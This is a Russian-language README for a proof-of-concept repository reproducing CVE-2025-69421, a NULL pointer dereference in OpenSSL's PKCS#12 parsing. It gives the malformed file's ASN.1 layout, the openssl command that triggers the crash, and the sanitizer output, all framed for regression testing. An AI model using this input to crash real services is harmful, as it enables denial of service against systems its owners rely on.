
Минимальный воспроизводитель CVE-2025-69421, демонстрирующий разыменование NULL-указателя в обработке OpenSSL PKCS#12 через повреждённый PFX-файл с отсутствующим полем encryptedContent. Включает скрипт генерации, анализ ASN.1 и вывод аварийного завершения, вызванного UBSan, для регрессионного тестирования защиты.
Этот репозиторий содержит минимально повреждённый файл PKCS#12, воспроизводящий CVE-2025-69421 в изолированной лабораторной среде.
Сгенерированный PFX содержит EncryptedData, в котором EncryptedContentInfo опускает необязательное поле encryptedContent. Уязвимые версии OpenSSL могут передавать NULL-указатель ASN1_OCTET_STRING из PKCS12_unpack_p7encdata() в PKCS12_item_decrypt_d2i_ex(), который разыменовывает его без проверки на NULL.
Данный воспроизводитель демонстрирует только состояние отказа в обслуживании. Он не выполняет код и не раскрывает информацию.
.
├── README.md
├── LICENSE
├── Makefile
├── generate.py
├── run.sh
├── malformed-cve-2025-69421.p12
└── evidence
└── ubsan-output.txt
Установите каталог сборки перед запуском PoC:
export OPENSSL_BUILD=/path/to/openssl-build
export OPENSSL_BIN="$OPENSSL_BUILD/apps/openssl"
OPENSSL_BUILD должен содержать уязвимую библиотеку libcrypto.so.3 и соответствующий бинарный файл apps/openssl.
Предварительно сгенерированный файл прилагается. Чтобы воссоздать его:
python3 generate.py
Результат:
malformed-cve-2025-69421.p12
openssl asn1parse \
-inform DER \
-in malformed-cve-2025-69421.p12 \
-i
Соответствующая структура:
PFX
├── version = 3
└── authSafe: ContentInfo(data)
└── OCTET STRING
└── AuthenticatedSafe
└── ContentInfo(encryptedData)
└── EncryptedData
├── version = 0
└── EncryptedContentInfo
├── contentType = data
├── algorithm = pbeWithSHA1And3-KeyTripleDES-CBC
└── encryptedContent = absent
С помощью вспомогательного скрипта:
export OPENSSL_BUILD=/path/to/openssl-build
./run.sh
Эквивалентная ручная команда:
export OPENSSL_BUILD=/path/to/openssl-build
export OPENSSL_BIN="$OPENSSL_BUILD/apps/openssl"
ASAN_OPTIONS='abort_on_error=1:halt_on_error=1:detect_leaks=0:symbolize=1' \
UBSAN_OPTIONS='halt_on_error=1:print_stacktrace=1' \
LD_LIBRARY_PATH="$OPENSSL_BUILD" \
"$OPENSSL_BIN" pkcs12 \
-in malformed-cve-2025-69421.p12 \
-info \
-noout \
-passin pass:test
Warning: MAC is absent!
PKCS7 Encrypted data: pbeWithSHA1And3-KeyTripleDES-CBC, Iteration 1
crypto/pkcs12/p12_decr.c:140:66: runtime error: member access within null pointer of type 'const struct ASN1_OCTET_STRING'
#0 0x... in PKCS12_item_decrypt_d2i_ex (/path/to/openssl-build/libcrypto.so.3+0x...)
#1 0x... in PKCS12_unpack_p7encdata (/path/to/openssl-build/libcrypto.so.3+0x...)
#2 0x... in dump_certs_keys_p12 (/path/to/openssl-build/apps/openssl+0x...)
#3 0x... in pkcs12_main (/path/to/openssl-build/apps/openssl+0x...)
Важные индикаторы:
member access within null pointer
PKCS12_item_decrypt_d2i_ex
PKCS12_unpack_p7encdata
Исправленная сборка OpenSSL должна отвергнуть повреждённый ввод без обнаружения санитайзером или аварийного завершения процесса. Ошибка может включать:
PKCS12_item_decrypt_d2i_ex:passed a null parameter
CVE: CVE-2025-69421
Component: OpenSSL PKCS#12 processing
Trigger: EncryptedData with absent encryptedContent
Fault: NULL pointer dereference
Function: PKCS12_item_decrypt_d2i_ex()
Reachable through: PKCS12_unpack_p7encdata()
Impact: Denial of Service
Используйте данный воспроизводитель только в системах, которыми вы владеете или на тестирование которых у вас есть явное разрешение. Прилагаемый артефакт предназначен для защитной проверки и регрессионного тестирования.